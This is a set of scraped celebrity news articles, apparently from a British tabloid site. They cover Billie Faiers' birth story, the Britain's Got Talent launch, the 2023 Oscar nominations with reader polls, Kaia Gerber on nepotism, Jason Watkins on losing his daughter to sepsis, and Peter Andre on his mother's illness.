After calling her husband Greg, Billie was then given oxytocin to bring on the contractions, with Billie describing it as 'intense' and detailing how things then went from '0 to 100!'

Tough: The former TOWIE star then detailed heading to the labour ward at the hospital with her mum Suzanne and sister and had to stay there all night as nothing had happened yet, with Billie lamenting 'another night of no sleep'

With the labour kicking in, Sam was asked to leave the room as Billie was only allowed two birthing partners, with the star telling how she was on the motorway on her way home when she received a call to say 'it was all happening'.

Going into further detail about the actual birth, Billie explained on the podcast: 'It was so difficult. At one point, I was pushing, Margot's head was there and I had the urge, I was pushing pushing pushing, nothing was happening.

'Basically, my cervix wasn't open, it wasn't dilated. Everything was there, all the signs, there was even like the bulge, but my cervix hadn't opened.

Baby joy: After calling husband Greg, Billie was then given oxytocin to bring on the contractions, with Billie describing it as 'intense' and detailing how things then went from '0 to 100!'

'She was not going through - it was a really long one and really quite tough. It was because I was so exhausted! What's the figure of speech? I was on the floor, I was so so exhausted. I'd already had two nights of no sleep!'

On the moment she'd finally given birth, she added: 'When she'd come and she arrived, it was the most amazing incredible feeling!'

She added that she had to ask her husband Greg whether it was a boy or a girl as they'd waited till the birth to find out the sex.

Labour: Billie explained on the podcast: 'It was so difficult. At one point, I was pushing, Margot's head was there and I had the urge, I was pushing pushing pushing, nothing was happening

Lovely: On the moment she'd finally given birth, she added: 'When she'd come and she arrived, it was the most amazing incredible feeling!'

Speaking about the aftermath of the birth, Billie explained that the first 24 hours in the hospital with just her and baby were 'so nice', as she running on this energy following the birth.

She added that because Margot was her third child, she wasn't so scared to be alone with the baby in the hospital.

Billie noted that she also got Greg's mum to bring older children Nelly and Arthur to the hospital on that night to visit because she didn't want anyone else to tell them she had welcomed a girl.

Family: Concluding their podcast chat, Billie and Sam discussed the names that they might have used if Margot were a boy, admitting she'd only considered one as she'd 'always been set on Margot'

Concluding their podcast chat, Billie and Sam discussed the names that they might have used if Margot were a boy, admitting she'd only considered one as she'd 'always been set on Margot'.

She said that she liked Sam's suggestion of 'William', noting how she liked it as it was like her own name.

He added that Margot was named after their German Great Nan and that her middle name was Suzanne after their mother.

The Family Diaries: Baby No3 airs on Sunday 5th February at 7:30pm on ITV Be, catch up the series so far on ITVX.
They are a much-loved presenting duo - so it comes as no surprise that Ant McPartlin and Declan Donnelly were mobbed at the Britain's Got Talent launch on Tuesday.

Superfans of the show lined up in their hundreds to greet the hosts and catch a glimpse of the judging line-up at the iconic London Palladium.

Ant was left in hysterics as a character dressed in a silver padded jacket and carrying a vape reached in for a giant hug while sporting face paints.

Britain's got SUPERFANS! Ant and Dec were left in hysterics as they were mobbed at the BGT launch at the London Palladium on Tuesday - (pictured; Ant)

It's all going on: Dec could barely keep the smile from his face as he watched the scenes unfold nearby

And Dec could barely keep the smile from his face as he watched the scenes unfold nearby.

One delighted superfan was sporting a satin bomber jacket which had Ant and Dec's faces emblazoned on the back.

She also wore a dress made up of photos of the dynamic duo as she had a fun day out.

That's one way to get noticed: One delighted superfan was sporting a satin bomber jacket which had Ant and Dec's faces emblazoned on the back

All eyes on her: She also wore a dress covered in pictures of the hosts as she made a striking arrival

Ant and Dec were among the first to arrive at the launch, alongside a slim Simon Cowell, who has been looking dramatically different of late.

Amanda Holden also turned up and put on a leggy display while wearing an oversized suit jacket and heels.

Also expected to arrive are Alesha Dixon and new host Bruno Tonioli, who will be David Walliams' replacement after he sensationally quit the show.

This comes after Alan Carr was widely tipped to be taking on the role.

Come here often? Ant couldn't stop laughing when he was greeted by his own face-painted superfan

Knockout! The fan was wearing a silver padded bomber jacket and sporting white blond hair

Bruno, who is said to be 'delighted' to return to Saturday night prime time TV in the UK, will now overshadow his former Strictly co-stars wage by three times.

Shirley Ballas, Craig Revel-Horwood, Motsi Mabuse and Anton Du Beke are all believed to earn 250,000 per series on the Strictly judging panel.

It comes following battle between Bruno - a close friend of Simon's - and comedian Alan for the role. The show's judges Alesha and Amanda were told the identity of their new colleague in the last week.

According to the Daily Mail's Katie Hind, Bruno is yet to sign the contract but the job has been formally offered to him following at tug of war between ITV and BGT boss, who insisted that he had the role following David's departure.

Alan, 46, is understood to be 'devastated' at losing out on the job which he thought was his.

Popular lads: Ant (left) and Dec (right) were smartly dressed when they arrived at the iconic London venue for the first day of auditions

Doing his thing: No doubt Ant was thrilled to be back doing what he does best

Friends of the star said that he told he would be joining the show by those close to it two weeks ago.

One told the Daily Mail: 'He is trying to keep his head up, he thought that he had it. It is really disappointing for him. BGT have really missed a trick, especially with the on-screen chemistry between him and Amanda.'

Meanwhile, a source close to the show said: 'It is one the most peculiar events in showbusiness in recent years. Alan was told that he had the job and then all of sudden Bruno's name popped up. It is so bizarre.

'Some ITV bosses are cross at the decision, their preference was Alan as did most involved in the show who were really over the moon at the prospect of having join them for series. They all wanted him but Cowell was against it, he wanted his friend.' Tonioli joining BGT means that there now two former Strictly judges on the panel - something ITV bosses are understood to have been against.

Royal wave: Dec and Ant were among the first to arrive at the launch

Slim: Simon Cowell continued to look unrecognisable as he arrived at the launch alongside the hosts

Legs for days! Simon's co-judge Amanda Holden was also seen arriving for the auditions, putting on a leggy display in a plunging pale blue blazer dress

Friends of the star said that he told he would be joining the show by those close to it two weeks ago.

One told the Daily Mail: 'He is trying to keep his head up, he thought that he had it. It is really disappointing for him. BGT have really missed a trick, especially with the on-screen chemistry between him and Amanda.'

Meanwhile, a source close to the show said: 'It is one the most peculiar events in showbusiness in recent years. Alan was told that he had the job and then all of sudden Bruno's name popped up. It is so bizarre.

'Some ITV bosses are cross at the decision, their preference was Alan as did most involved in the show who were really over the moon at the prospect of having join them for series. They all wanted him but Cowell was against it, he wanted his friend.' Tonioli joining BGT means that there now two former Strictly judges on the panel - something ITV bosses are understood to have been against.

In one incident, picked up on the show's microphones, an older performer engaged in light-hearted banter with the judges in which he made a jibe about David.

After the audition, the pensioner left, and David is said to have described him as a 'c**t' three times.

In a separate incident, after a female contestant had walked off stage, David remarked: 'She's like the slightly boring girl you meet in the pub that thinks you want to f*** them, but you don't.' He later added: 'I know, she's just like: 'Oh, f*** off!' I was saying, she thinks you want to f*** her, but you don't.

'It's the last thing on your mind, but she's like: 'Yep, I bet you do!'

'No I don't! I had a bit of a b***r, but now it's going, it's now shrivelled up inside my body.'

David, one of the UK's best-known television personalities and children's book authors, was forced to apologise for his outbursts - but he insisted that they were private conversations.

Bye bye: Former Strictly judge Bruno will replace David Walliams (pictured in 2022) who left the show last year after ITV bosses who wanted comedian Alan Carr were overruled by boss Simon Cowell

Final details: It comes after it was reported Bruno would triple the salary he received on Strictly Come Dancing by joining the ITV judging panel (L-R) David Walliams, Alesha, Amanda, Simon Cowell
Scroll down for a full list of the nominations for the 95th Academy Awards

The nominations were announced by Allison Williams and Riz Ahmed today

The 95th Academy Awards will be hosted by Jimmy Kimmel on March 12

The 2023 Academy Award nominations were announced early on Tuesday morning.

On the top of the list was Everything Everywhere All at Once and The Banshees of Inisherin, which swept many categories. Even Tom Cruise's film Top Gun: Maverick got plenty of love with five nods, though Cruise himself was not nominated for his acting.

But several contenders were left off the list. Brad Pitt and Margot Robbie were not recognized for their work in the epic Hollywood movie Babylon. And the film did not get into the coveted Best Picture category.

Taylor Swift did not get a nod for her popular song Carolina from the film Where the Crawdads Sing.

And two movies - The Woman King and Nope - did not get any nods.

Snubbed! Brad Pitt was not noticed for his acting in Babylon as the Academy Award nominations were announced on Tuesday morning; seen January 14

The film that didn't quite float: Pitt, left, was ignored as was his co-star Margot Robbie, right

James Cameron was not noticed for directing Avatar: The Way of Water though the film did receive several other nods, including for Best Picture.

RRR did not get a lot of attention except for Best Original Song.

Paul Dano did not get a nomination for his acting in The Fabelmans and Danielle Deadwyler was left off the list for Till.

The Woman King, starring Viola Davis, and Jordan Peeles Nope starring Daniel Kaluuya and Keke Palmer, did not receive any Oscar nominations this year.

And Black Panther: Wakanda Forever did not make it onto the Best Picture list.

Passed over: Taylor Swift did not get a nod for her song Carolina from Where the Crawdads Sing. Seen in September

An uncommon move: Swift, seen here in her video, was surprisingly left out of the awards

Olivia Colman did not get on the list for her performance in Empire Of Light either.

Sarah Polley was not placed in the Best Director category for her film Women Talking, even though the movie is nominated for Best Picture.

Aftersun director Charlotte Wells, The Woman Kings Gina Prince-Bythewood, and Tills Chinonye Chukwu were also not named.

No thanks Mr Smith: Will Smith was shut out for his work in Emancipation after the 2022 Best Actor winners shocking slap of Chris Rock on-stage

Not on the list: Janelle Monae was not recognized for her work in Glass Onion: A Knives Out Mystery. Seen on January 15

Her role: She played one of the lead characters in the murder mystery movie

Janelle Monae was not recognized for her work in Glass Onion: A Knives Out Mystery.

Will Smith was shut out for his work in Emancipation after the 2022 Best Actor winners shocking slap of Chris Rock on-stage.

Tom Hanks' wife Rita Wilson did not get listed for her original song Till You're Home from her husband's film A Man Called Otto.

Not named: Sarah Polley was not placed in the Best Director category for her film Women Talking, even though the movie is nominated for Best Picture. Seen on January 10

Selena Gomez also didn't get a nod for her song My Mind & Me that went with her docu of the same name.

On Tuesday morning, Riz Ahmed and Allison Williams announced the nominations for the 95th Annual Academy Awards which will take place March 12 at the Dolby Theatre in Hollywood. The ceremony is scheduled to air live on ABC.

Several stars did very well on Tuesday morning.

Best Actress will be a toss-up between Cate Blanchett in Tar and Michelle Yeoh, who won the award at the Golden Globes for her performance in Everything Everywhere All at Once.

Tom Cruise missed out on a nomination for Best Actor, with Austin Butler (Elvis) and Brendan Fraser (The Whale) leading the category instead.

He is out: James Cameron was not noticed for directing Avatar: The Way of Water though the film received many other nods; seen January 13

The way: Avatar: The Way Of Water got several other nominations though

All Quiet on the Western Front, a German-produced film, won multiple nominations, as did Black Panther: Wakanda Forever

The awards ceremony will be hosted on March 12 by Jimmy Kimmel. Allison Williams and Riz Ahmed announced the nominees on Tuesday morning.

Only some have been announced so far, including Best Supporting Actor, Best Supporting Actress, Best Screenplay and Best Sound.

This one must hurt: The Woman King did not receive any nominations even though star Viola Davis worked hard to get attention

Along with Everything Everywhere All at Once, The Banshees of Inisherin won multiple nominations.

Over the last five years, ratings for the once-adored show have steadily plummeted.

Last year's drama with Will Smith and Chris Rock revived the flailing numbers, but it also made the prestigious event into a mockery.

Jimmy Kimmel will host the 95th Academy Awards on March 12

This year's awards season kicked off with the Golden Globes on January 10.

Steven Spielberg's The Fabelmans won Best Picture, with The Banshees of Inisherin winning Best Picture: Musical/Comedy.

Cate Blanchett won Best Actress for her performance in Tar, while Austin Butler won Best Actor for his role in the Elvis biopic.

Angela Bassett won Best Supporting Actress for her performance in Black Panther: Wakanda Forever and Ke Huy Quan won Best Supporting Actor for Everything Everywhere All At Once.

Top Gun: Maverick, one of the highest grossing films of the last few years, was snubbed at the Globes.

Kimmel previously hosted the event in 2017 and 2018, when ratings were considerably higher than in recent years.
Cindy Crawford's daughter Kaia Gerber, 21, who has followed her mother's footsteps into modeling, has responded to the 'nepo baby' furor.

The showbiz legacy showcased her sensationally svelte bikini body in Celine and Wolford for the February issue of Elle, which she has covered.

'I wont deny the privilege that I have,' she told the magazine. 'Even if its just the fact that I have a really great source of information and someone to give me great advice, that alone I feel very fortunate for.'

Looking fab: Kaia Gerber showcased her sensationally svelte bikini body in Celine and Wolford for the February issue of Elle, which she has covered

Kaia, whose mother achieved international superstardom as one of the iconic Supermodels of the 1990s, said: 'My mom always joked: "If I could call and book a Chanel campaign, it would be for me and not you." But I also have met amazing people through my mom whom I now get to work with.'

However she insisted that a whole separate ethos is in effect when it comes to her burgeoning acting career, which includes the upcoming Apple TV+ series Mrs. American Pie featuring Carol Burnett and the percolating movie Bottoms.

'With acting, its so different. No artist is going to sacrifice their vision for someones kid. That just isnt how art is made, and what Im interested in is art,' Kaia insisted.

'Also, no one wants to work with someone whos annoying, and not easy to work with, and not kind. Yes, nepotism is prevalent, but I think if it actually was what people make it out to be, wed see even more of it,' said she.

Family business: The daughter of Cindy Crawford, who has followed her mother's footsteps into modeling, has responded to the 'nepo baby' furor

Candor: 'I wont deny the privilege that I have,' she told the magazine when the subject of family connections was raised

Legs for days: The fashion plate's latest cover shoot was awash with designs by Hedi Slimane for Seline, including a smock dripping with gold sequins

Bottoms, which has been promoted as being about a 'lesbian fight club,' reunites Shiva Baby director Emma Seligman with her leading lady Rachel Sennott.

'I was a fan of Emma because I saw Shiva Baby, and I was like: "No one has ever done anything like this. Its so funny, and sad, and real, and touching,"' said Kaia.

The film she was referring to was a dark comedy starring Rachel as a college student who shockingly runs into her sugar daddy at a shiva, a Jewish funerary tradition where the bereaved family mourns for a week.

Kaia gushed that Emma 'has such a strong point of view, and I just, immediately, was like: "What else is she going to do?" Same with Rachel. I just thought she was so good in that, and funny, and real. Ive always loved her stand-up. Same with Ayo. I was a fan of her stand-up. Im such a comedy nerd.'

Use it or lose it: Kaia made sure to showcase her vertiginous legs to full advantage, including while going trouser-less in a Celine vest-shirt combo with black go-go boots

Oh, say, can you see: The runway staple, who is currently involved with Elvis star Austin Butler, 31, also swathed herself in a flesh-flashing Stars and Stripes frock by Vaquera

Her professed love of comedy spilled into a major admiration for Carol Burnett, whom she was able to work with on her forthcoming Apple TV+ series.

'I have no idea what Im doing there,' Kaia confessed. 'Its ridiculous. Carol Burnett made me understand comedy in such a different way. I never wouldve dreamed that Id get to work with her. I still cant believe it happened.'

The fashion plate's latest cover shoot was awash with designs by Hedi Slimane for Seline, including a smock dripping with gold sequins.

While flouncing around on the beach for the cameras, she also bared her taut midriff in a knit Victoria's Secret set accessorized with shades and boots by Celine.

Swanking about: Kaia made sure to showcase her vertiginous legs to full advantage, including while going trouser-less in a Celine vest-shirt combo with black go-go boots

Kaia made sure to showcase her vertiginous legs to full advantage, including while going trouser-less in a Celine vest-shirt combo with black go-go boots.

The runway staple, who is currently involved with Elvis star Austin Butler, 31, also swathed herself in a flesh-flashing Stars and Stripes frock by Vaquera.

While chatting with the magazine, she disclosed some of the tips her Supermodel mother was able to pass down to her for her own foray into the fashion business.

Some of the wisdom Cindy imparted to Kaia included: 'Be on time. Take the time to learn peoples names, and be nice to everyone. If youre not grateful and happy to be there, theres someone who would be.'

Kaia recalled: ''Even when I was really tired, or wanted to go home, or felt lonely, I would remind myself how lucky I was.'

'Be on time': Some of the wisdom Cindy imparted to Kaia included: 'Take the time to learn peoples names, and be nice to everyone'

The rising fashionista shared: 'Another thing she told me is: "I wish I had written more down" because you think youre going to remember these amazing moments forever, and one day, its hard to even know what shoot that was, where it happened, and when. And so I wrote it down; I journaled.'

Her latest gig comes on the heels of a social media furor over 'nepo babies' in who are said to have gotten showbiz careers because of family connections.

Maya is one of a massive glut of rising starlets with famous parents, from Johnny Depp's daughter Lily-Rose Depp to Andie MacDowell's daughter Margaret Qualley.

Memory bank: While discussing her mother, the rising fashionista recalled: 'Another thing she told me is: "I wish I had written more down"'

Maude Apatow, whose father is Judd Apatow, and Maya Hawke, whose parents are Ethan Hawke and Uma Thurman, have shot to fame in recent years as well.

Madonna's daughter Lourdes Leon, Heidi Klum's daughter Leni Klum and Elvis Presley's granddaughter Riley Keough are also coming up, among others.

The online chatter around 'nepo babies' reached a fever pitch in December after New York magazine ran a viral cover story about the phenomenon.

Self-aware: Kaia shared: 'Even when I was really tired, or wanted to go home, or felt lonely, I would remind myself how lucky I was'

Dakota Johnson, whose parents are Don Johnson and Melanie Griffith and whose grandmother is Hitchcock blonde Tippi Hedren, was one of the faces on the cover.

Jamie Lee Curtis, the daughter of Psycho actress Janet Leigh and Some Like It Hot dreamboat Tony Curtis, then waded into the debate.

Calling herself the 'OG Nepo Baby,' she complained: 'The current conversation about nepo babies is just designed to try to diminish and denigrate and hurt.'
The 2023 Academy Award nominations were announced on Tuesday.

Topping the list was Everything Everywhere All at Once and The Banshees of Inisherin, which swept many categories.

Even Tom Cruise's film Top Gun: Maverick got plenty of love with five nods, though the superstar himself was not nominated for his acting.

But several contenders were left off the list. Brad Pitt and Margot Robbie were not recognised for their work in the epic Hollywood movie Babylon. And the film did not get into the coveted Best Picture category.

James Cameron was not noticed for directing Avatar: The Way of Water though the film did receive several other nods, like for Best Picture.

And two movies - The Woman King and Nope - did not get any nods.

Poll Best Actor Austin Butler, Elvis Colin Farell, The Banshees of Inisherin Brendan Fraser, The Whale Paul Mescal, Aftersun Bill Nighy, Living Best Actor Austin Butler, Elvis 445 votes

Colin Farell, The Banshees of Inisherin 351 votes

Brendan Fraser, The Whale 618 votes

Paul Mescal, Aftersun 60 votes

Bill Nighy, Living 112 votes Now share your opinion





Poll Best Actress Cate Blanchett, Tar Ana de Armas, Blonde Andrea Riseborough, To Leslie Michelle Williams, The Fabelmans Michelle Yeoh, Everything Everywhere All at Once Best Actress Cate Blanchett, Tar 291 votes

Ana de Armas, Blonde 186 votes

Andrea Riseborough, To Leslie 38 votes

Michelle Williams, The Fabelmans 191 votes

Michelle Yeoh, Everything Everywhere All at Once 495 votes Now share your opinion





Poll Best Supporting Actress Angela Bassett, Black Panther Wakanda Forever Hong Chau, The Whale Kerry Condon, The Banshees of Inisherin Jamie Lee Curtis, Everything Everywhere All At Once Stephanie Hsu, Everything Everywhere All At Once Best Supporting Actress Angela Bassett, Black Panther Wakanda Forever 240 votes

Hong Chau, The Whale 94 votes

Kerry Condon, The Banshees of Inisherin 181 votes

Jamie Lee Curtis, Everything Everywhere All At Once 490 votes

Stephanie Hsu, Everything Everywhere All At Once 98 votes Now share your opinion





Poll Best Supporting Actor Brendan Gleeson, Banshees Brian Tyree Henry, Causeway Judd Hirsch, The Fabelmans Barry Keoghan, The Banshees of Inisherin Ke Huy Quan, Everything Everywhere All at Once Best Supporting Actor Brendan Gleeson, Banshees 303 votes

Brian Tyree Henry, Causeway 28 votes

Judd Hirsch, The Fabelmans 142 votes

Barry Keoghan, The Banshees of Inisherin 166 votes

Ke Huy Quan, Everything Everywhere All at Once 348 votes Now share your opinion





Poll Best Picture All Quiet on the Western Front Avatar: Way of Water Banshees of Inisherin Elvis Everything Everywhere All at Once The Fabelmans Tar Top Gun: Maverick Triangle of Sadness Women Talking Best Picture All Quiet on the Western Front 107 votes

Avatar: Way of Water 113 votes

Banshees of Inisherin 162 votes

Elvis 200 votes

Everything Everywhere All at Once 178 votes

The Fabelmans 25 votes

Tar 22 votes

Top Gun: Maverick 535 votes

Triangle of Sadness 18 votes

Women Talking 17 votes Now share your opinion





Poll Best Original Screenplay Banshees of Inisherin Everything Everywhere All at Once The Fabelmans Tar Triangle of Sadness Best Original Screenplay Banshees of Inisherin 303 votes

Everything Everywhere All at Once 346 votes

The Fabelmans 110 votes

Tar 65 votes

Triangle of Sadness 50 votes Now share your opinion





On Tuesday morning, Riz Ahmed and Allison Williams announced the nominations for the 95th Annual Academy Awards which will take place March 12 at the Dolby Theatre in Hollywood. The ceremony is scheduled to air live on ABC.

Taylor Swift did not get a nod for her popular song Carolina from the film Where the Crawdads Sing.

RRR did not get a lot of attention except for Best Original Song.

Paul Dano did not get a nomination for his acting in The Fabelmans and Danielle Deadwyler was left off the list for Till.

Oscar nominations 2023: As Tom Cruise is ignored for Top Gun: Maverick, Brad Bitt for Babylon and James Cameron for directing Avatar: Way Of The Water... MailOnline invites readers to give THEIR take in a poll

The Woman King, starring Viola Davis, and Jordan Peeles Nope starring Daniel Kaluuya and Keke Palmer did not receive any Oscar nominations this year.

And Black Panther: Wakanda Forever did not make it onto the Best Picture list.

Tom Hanks' wife Rita Wilson did not get listed for her original song Till You're Home from her husband's film A Man Called Otto.

Passed over: Taylor Swift did not get a nod for her song Carolina from Where the Crawdads Sing. Seen in September

Selena Gomez also didn't get a nod for her song My Mind & Me that went with her docu of the same name.

Several stars did very well on Tuesday morning.

Best Actress will be a toss-up between Cate Blanchett in Tar and Michelle Yeogh, who won the award at the Golden Globes for her performance in Everything Everywhere All at Once.

Tom Cruise missed out on a nomination for Best Actor, with Austin Butler (Elvis) and Brendan Fraser (The Whale) leading the category instead.

He is out: James Cameron was not noticed for directing Avatar: The Way of Water though the film received many other nods; seen January 13

The way: Avatar: The Way Of The Water got several other nominations though

All Quiet on the Western Front, a German-produced film, won multiple nominations, as did Black Panther: Wakanda Forever

The awards ceremony will be hosted on March 12 by Jimmy Kimmel. Allison Williams and Riz Ahmed announced the nominees on Tuesday morning.

Only some have been announced so far, including Best Supporting Actor, Best Supporting Actress, Best Screenplay and Best Sound.

This one must hurt: The Woman King did not receive any nominations even though star Viola Davis worked hard to get attention

Along with Everything Everywhere All at Once, The Banshees of Inisherin won multiple nominations.

Over the last five years, ratings for the once-adored show have steadily plummeted.

Last year's drama with Will Smith and Chris Rock revived the flailing numbers, but it also made the prestigious event into a mockery.

Jimmy Kimmel will host the 95th Academy Awards on March 12

This year's awards season kicked off with the Golden Globes on January 10.

Steven Spielberg's The Fabelmans won Best Picture, with The Banshees of Inisherin winning Best Picture: Musical/Comedy.

Cate Blanchett won Best Actress for her performance in Tar, while Austin Butler won Best Actor for his role in the Elvis biopic.

Angela Bassett won Best Supporting Actress for her performance in Black Panther: Wakanda Forever and Key Huy Quan won Best Supporting Actor for Everything Everywhere All At Once.

Top Gun: Maverick, one of the highest grossing films of the last few years, was snubbed at the Globes.

Kimmel previously hosted the event in 2017 and 2018, when ratings were considerably higher than in recent years.

FULL LIST OF OSCARS 2023 NOMINATIONS Best picture All Quiet on the Western Front Avatar: Way of Water Banshees of Inisherin Elvis Everything Everywhere All at Once The Fabelmans Tar Top Gun: Maverick Triangle of Sadness Women Talking Best director Martin McDonaugh, Banshees Daniel Kwan and Daniel Scheinert, Everything Spielberg, Fabelmans Todd Field, Tar Ruben Ostlund, Triangle of Sadness Best original screenplay Banshees of Inisherin Everything Everywhere All at Once The Fabelmans Tar Triangle of Sadness Best adapted screenplay All Quiet on the Western Front Glass Onion: A Knives Out Mystery Living Top Gun: Maverick Women Talking Best Supporting Actor Brendan Gleeson. Banshees Brian Tyree Henry , Causeway Judd Hirsch, The Fabelmans Barrry Keoghan, Banshees Quay Huy Quan, Everything Best Supporting Actress Angela Bassett, Black Panther Wakanda Forever Hogn Chau, The Whale Kerry Condon, The Banshees of Inisherin Jamie Lee Curtis, Everything Everywhere All At Once Stephanie Hsu, Everything Everywhere All At Once Original Score All Quiet on the Western Front Babylon The Banshees of Inisherin Everything Everywhere All at Once The Fabelmans Production design All Quiet on the Western Front Avatar: The Way of Water Babylon Elvis The Fabelmans Best actor Austin Butler, Elvis Colin Farell, The Banshees of Inisherin Brendan Fraser, The Whale Paul Mescal, Aftersun Bill Nighy, Living Best actress Cate Blanchett, Tar Ana de Armas, Blonde Andrea Riseborough, To Leslie Michelle Williams, The Fabelmans Michelle Yeoh, Everything Everywhere All at Once Cinematography All Quiet on the Western Front Bardo, False Chronicle Elvis Empire of Light Tar Visual effects All Quiet on the Western Front Avatar: The Way of Water Batman Black Panther: Wakanda Forveer Top Gun: Maverick Best original song Applause, tell it like a woman Hold my hand, top gun Lift me up, Black Panther Naatu Naatu from RRR This is a life, everything everywhere all at once Best sound All Quiet On The Western Front Avatar: The Way of Water The Batman Elvis Top Gun: Maverick Best Costume Design Babylon Black Panther Elvis Everything Everywhere All At Once Mrs Harris Goes to Paris Make Up and Hair All Quiet on the Western Front Batman Black Panther: Wakanda Forever Elvis The Whale Advertisement

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Jason Watkins has discussed the death of his daughter Maude and how it releated to his role in new Channel 5 series The Catch.

The actor, 60, appeared on BBC's The One Show to discuss his role in the show, where he plays a fisherman struggling with the death of his son in an accident several years before.

Jason, who lost Maude on New Year's Day in 2011, said he thought the show would be a good way of getting to 'express' his grief and hopefully help others.

Interview: Jason Watkins has discussed the death of his daughter Maude and how it releated to his role in new Channel 5 series The Catch

He said: 'I always wanted, and my wife Clara, we lost our daughter Maude to sepsis in 2011. We're part of bereavement charities but one always wants to express oneself if you're an artist to things that really matter.

'Along came this script about a regular guy who'd lost a child and how it traumatised him and affected him and how he tried to cope with him.'

Jason said there were a few scenes he found 'very difficult' to film but considers himself lucky he got to tell such a story.

He said: 'Perhaps it's a male thing, that men perhaps try and cope: "I'm not going to go there, I'm not going to be emotional."

Family: Jason, who lost Maude on New Year's Day in 2011, said he thought the show would be a good way of getting to 'express' his grief and hopefully help others

'I think that's where men struggle mentally. Ed does that. I knew what I was taking on.

'There are two or three scenes that were very difficult to film but we're lucky as actors that we can share our stories in a way and hope that connects with the audience.'

In 2010 a persistent cough and consequent respiratory problems prompted two consecutive visits to a hospital A&E, where Maude was initially diagnosed with croup, a type of respiratory infection.

But within two weeks of developing her first symptoms she had died. She had in fact fallen victim to sepsis, an insidious illness in which the immune system reacts violently to infection, attacks its own tissue and eventually leads to organ failure.

Role: The actor appeared on BBC's The One Show to discuss his role in the show, where he plays a fisherman struggling with the death of his son in an accident several years before

Candid: Jason said there were a few scenes he found 'very difficult' to film but considers himself lucky he got to tell such a story

He said: 'I always wanted, and my wife Clara, we lost our daughter Maude to sepsis in 2011. We're part of bereavement charities but one always wants to express oneself if you're an artist to things that really matter'

Sepsis, known as the silent killer, strikes when an infection such as blood poisoning sparks a violent immune response in which the body attacks its own organs.

If caught early enough, it's easily treated with intravenous antibiotics and fluids, but these must be given as soon as sepsis is suspected - it strikes with frightening speed and, for every hour of delay, a patient's chance of dying increases 8 per cent.

Earlier this month, the star and wife Clara marked 12 years since Maude's death, with Jason also sharing a heartfelt tribute to his girl on Twitter.

Detailing how they marked the occasion, he told The Mirrror: 'Clara and I both get quite emotional on that day and in the lead-up to the anniversary. We just walk to her bench as a family, and with friends, then everyone comes back to our house. Its a nice thing to do.'

So sad: In 2010 a persistent cough prompted two consecutive visits to a hospital A&E, where Maude was initially diagnosed with croup but two week later died from sepsis

Couple: Earlier this month, the star and wife Clara marked 12 years since Maude's death, with Jason also sharing a heartfelt tribute to his girl on Twitter (pictured 2019)

In an interview in 2020, Jason revealed he was 'angry for a long time' at fate for taking the child he shared with his wife Clara Francis.

Speaking to The Sunday Times Magazine, he said: 'Clara and I felt cheated.'

He described the pattern of his grief changing over time, from an acute pain to a 'heart-shaped feeling that you carry around for ever.'

Jason and Clara - who already had an older daughter Bessie - decided to try for another child after Maude's death.

He added: 'Life was not going to rob us of our happiness. And Gilbert has brought us so much happiness.'
Peter Andre has admitted it was 'very tough and emotional' to watch his mother's health decline as she battles with Parkinson's and Alzheimer's.

The Mysterious Girl hitmaker, 49, visited his elderly parents in Australia over the Christmas period where he shared plenty of snaps showing his wife and children spending quality time with his mum Thea, 87, and dad Savvas, 90.

And after Thea celebrated her birthday not long after the family left to return to the UK, Peter has said that 'it is never easy' to see people declining as they get older, 'especially when it's your own mum'.

'Difficult': Peter Andre has admitted it was 'very tough and emotional' to watch his mother's health decline as she battles with Parkinson's and Alzheimer's (stock image)

Writing in his most recent column for new! magazine, Peter said: 'It was my mum's 87th birthday last week and it was nice we were with her so close to it.

'It's never easy to see people declining when they get older, especially when it's your own mum. It's tough and very emotional.

'Although it was difficult to leave them at the end of our trip, seeing mum smile and happy was the best - that's what it's all about.'

After returning from Down Under, Peter posted a slew of snaps to his Instagram sharing loving moments of their time with his loved ones.

Heartbreaking: The Mysterious Girl hitmaker, 49, visited his elderly parents in Australia over the Christmas period where he shared plenty of snaps showing his wife and children spending quality time with his mum Thea, 87 (pictured) and dad Savvas, 90

He wrote that the two weeks in his native Queensland 'meant the world to us'.

Plenty of fans commented on the heartwarming pictures, and Peter replied admitting that his mum was 'really struggling' with the horrible diseases.

He told another fan that it was 'cruel seeing it take hold' of his mother.

In one image, Thea smiled beside Peter and Emily as they went out for a meal, while Princess posed alongside her famous father.

Peter captioned the adorable post 'Making memories' as he continues to enjoy time with his family.

Sweet: And after Thea celebrated her birthday not long after the family left to return to the UK, Peter has said that 'it is never easy' to see people declining as they get older, 'especially when it's your own mum'

It comes after ahead of the trip the Mysterious Girl hitmaker detailed his fears for the health of his parents.

The star told MailOnline that Christmas is 'always an anxious time', as he explained his attempts to visit Australia, where his parents live, more often.

Peter, who moved to Australia at the age of six, discussed his hopes of spending quality time with Thea and Savvas during a trip with his wife Emily and their family.

'For me, it's about seeing my mum and dad and the kids and Emily seeing them. That's what it's about, they're getting very old now and it's always an anxious time of year.

'I went to Australia earlier this year, I'm glad to be spending more time there because of my mum now. So, I try and go 3 or 4 times of year if I can now,' he told MailOnline.

Love: After returning from Down Under, Peter posted a slew of snaps to his Instagram sharing loving moments of their time with his loved ones (pictured with Peter's wife Emily)

Adding that it is worrying to see his mother struggling more with age, Peter expressed his hope to 'spend as much time as possible' with her.

Last September, Peter admitted he is finding it hard to watch his elderly mother 'suffering and declining' as old age takes its toll.

He explained in his new! magazine column earlier this motnh: 'My parents celebrated their 67th wedding anniversary last week. 67 years! It's pretty amazing. Dad's going to be 90 next year and mum's 86.

'Mum's struggling at the moment, though. She's not doing great. She's suffering a bit and declining. It's sad when they've been together so long that age is getting on top of them.

'I was with her a few months ago. We've just got to be with her as much as possible. It's just age. She's got all sorts of things going on now.'

Taking to his Instagram the week before, Peter said he was 'sad that age is taking its toll' on his parents as he shared a sweet snap of himself with them.

He penned: 'Happy 67th wedding anniversary mum and dad. Love you both with every bit of my heart. I feel happy and sad posting this.

'Happy of course that they have achieved 67years of marriage together but sad that age is taking its toll and mum especially is really struggling.

'I always pray for your health, both of you. I also pray that I can be even half the parent to my children that you both are to me.'

Brood: Emily's two children Amelia, eight, and Theodore, six, were also seen in the album as they all spent quality time together as a blended family
Gossip Girl star Kelly Rutherford exuded an ageless glamour as she made her way to a front row seat at a Paris fashion show this Monday.

The 54-year-old blonde was taking in a show by Rahul Mishra, who three years ago became the first Indian designer to showcase at Paris Haute Couture Week.

As the latest edition of Haute Couture Week thundered ahead in the French capital, Kelly made her presence felt in a fluttery floral gown.

Looking fab: Gossip Girl star Kelly Rutherford exuded an ageless glamour as she made her way to a front row seat at a Paris fashion show this Monday

